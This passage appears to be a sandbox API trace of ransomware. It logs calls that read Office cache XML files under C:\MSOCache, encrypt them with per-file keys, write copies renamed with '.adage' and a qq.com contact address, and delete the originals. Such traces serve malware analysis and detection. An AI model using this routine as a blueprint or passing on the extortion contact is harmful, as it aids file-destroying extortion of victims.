Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0052.024] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0052.024] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0052.025] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlookmui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0052.025] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d8620) returned 1 [0052.025] CryptSetKeyParam (hKey=0x4d8620, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0052.025] ReadFile (in: hFile=0x184, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0xb15, lpOverlapped=0x0) returned 1 [0052.094] CryptEncrypt (in: hKey=0x4d8620, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0xb20, dwBufLen=0xb20 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0xb20) returned 1 [0052.094] WriteFile (in: hFile=0x178, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xb20, lpOverlapped=0x0) returned 1 [0052.095] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d8660) returned 1 [0052.095] CryptSetKeyParam (hKey=0x4d8660, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0052.095] CryptEncrypt (in: hKey=0x4d8660, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0052.095] CryptDestroyKey (hKey=0x4d8660) returned 1 [0052.095] WriteFile (in: hFile=0x178, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0052.095] CryptDestroyKey (hKey=0x4d8620) returned 1 [0052.095] CloseHandle (hObject=0x184) returned 1 [0052.095] CloseHandle (hObject=0x178) returned 1 [0052.097] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0052.098] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0052.241] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0052.250] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0052.262] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0052.271] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0052.356] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0052.356] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.999] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1024) returned 1 [0052.999] CloseHandle (hObject=0x190) returned 1 [0052.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0052.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proofing.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0052.999] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.999] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0052.999] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0052.999] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proofing.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.000] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d8820) returned 1 [0053.000] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0053.000] ReadFile (in: hFile=0x190, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x400, lpOverlapped=0x0) returned 1 [0053.011] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x410, dwBufLen=0x410 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x410) returned 1 [0053.011] WriteFile (in: hFile=0x194, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x410, lpOverlapped=0x0) returned 1 [0053.012] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d87e0) returned 1 [0053.012] CryptSetKeyParam (hKey=0x4d87e0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0053.012] CryptEncrypt (in: hKey=0x4d87e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0053.012] CryptDestroyKey (hKey=0x4d87e0) returned 1 [0053.012] WriteFile (in: hFile=0x194, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0053.012] CryptDestroyKey (hKey=0x4d8820) returned 1 [0053.012] CloseHandle (hObject=0x190) returned 1 [0053.012] CloseHandle (hObject=0x194) returned 1 [0053.014] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0053.018] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0053.018] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.019] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1230) returned 1 [0053.019] CloseHandle (hObject=0x194) returned 1 [0053.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0053.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\InfoPathMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\infopathmui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0053.019] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.019] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0053.019] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0053.019] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\InfoPathMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\infopathmui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0053.020] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d8820) returned 1 [0053.020] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0053.020] ReadFile (in: hFile=0x194, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x4ce, lpOverlapped=0x0) returned 1 [0053.021] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x4d0) returned 1 [0053.021] WriteFile (in: hFile=0x190, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x4d0, lpOverlapped=0x0) returned 1 [0053.022] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d87e0) returned 1 [0053.022] CryptSetKeyParam (hKey=0x4d87e0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0053.022] CryptEncrypt (in: hKey=0x4d87e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0053.022] CryptDestroyKey (hKey=0x4d87e0) returned 1 [0053.022] WriteFile (in: hFile=0x190, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0053.022] CryptDestroyKey (hKey=0x4d8820) returned 1 [0053.022] CloseHandle (hObject=0x194) returned 1 [0053.022] CloseHandle (hObject=0x190) returned 1 [0053.024] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0053.025] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0053.025] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0053.025] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1795) returned 1 [0053.025] CloseHandle (hObject=0x190) returned 1 [0053.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0053.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0053.025] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0053.025] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0053.025] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0053.026] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.026] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d8820) returned 1 [0053.026] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0053.026] ReadFile (in: hFile=0x190, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x703, lpOverlapped=0x0) returned 1 [0053.027] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x710, dwBufLen=0x710 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x710) returned 1 [0053.027] WriteFile (in: hFile=0x194, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x710, lpOverlapped=0x0) returned 1 [0053.028] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d87e0) returned 1 [0053.028] CryptSetKeyParam (hKey=0x4d87e0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0053.028] CryptEncrypt (in: hKey=0x4d87e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0053.028] CryptDestroyKey (hKey=0x4d87e0) returned 1 [0053.028] WriteFile (in: hFile=0x194, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0053.028] CryptDestroyKey (hKey=0x4d8820) returned 1 [0053.028] CloseHandle (hObject=0x190) returned 1 [0053.028] CloseHandle (hObject=0x194) returned 1 [0053.030] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 1 [0053.031] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0053.031] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\DCFMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\dcfmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.032] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1215) returned 1 [0053.032] CloseHandle (hObject=0x194) returned 1 [0053.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\DCFMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\dcfmui.xml")) returned 0x2020 [0053.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\DCFMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\dcfmui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0053.032] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\DCFMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\dcfmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.032] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0053.032] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0053.032] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\DCFMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\dcfmui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0053.034] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d8820) returned 1 [0053.034] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0053.034] ReadFile (in: hFile=0x194, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x4bf, lpOverlapped=0x0) returned 1 [0053.043] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x4c0, dwBufLen=0x4c0 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x4c0) returned 1 [0053.043] WriteFile (in: hFile=0x190, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x4c0, lpOverlapped=0x0) returned 1 [0053.044] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d87e0) returned 1 [0053.044] CryptSetKeyParam (hKey=0x4d87e0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0053.044] CryptEncrypt (in: hKey=0x4d87e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0053.044] CryptDestroyKey (hKey=0x4d87e0) returned 1 [0053.044] WriteFile (in: hFile=0x190, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0053.044] CryptDestroyKey (hKey=0x4d8820) returned 1 [0053.044] CloseHandle (hObject=0x194) returned 1 [0053.044] CloseHandle (hObject=0x190) returned 1 [0053.045] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\DCFMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\dcfmui.xml")) returned 1 [0053.046] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0053.046] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0053.046] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1808) returned 1 [0053.046] CloseHandle (hObject=0x190) returned 1 [0053.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0053.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0053.047] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0053.047] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0053.047] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0053.047] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.047] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d8820) returned 1 [0053.047] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0053.047] ReadFile (in: hFile=0x190, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x710, lpOverlapped=0x0) returned 1 [0053.221] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x720, dwBufLen=0x720 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x720) returned 1 [0053.221] WriteFile (in: 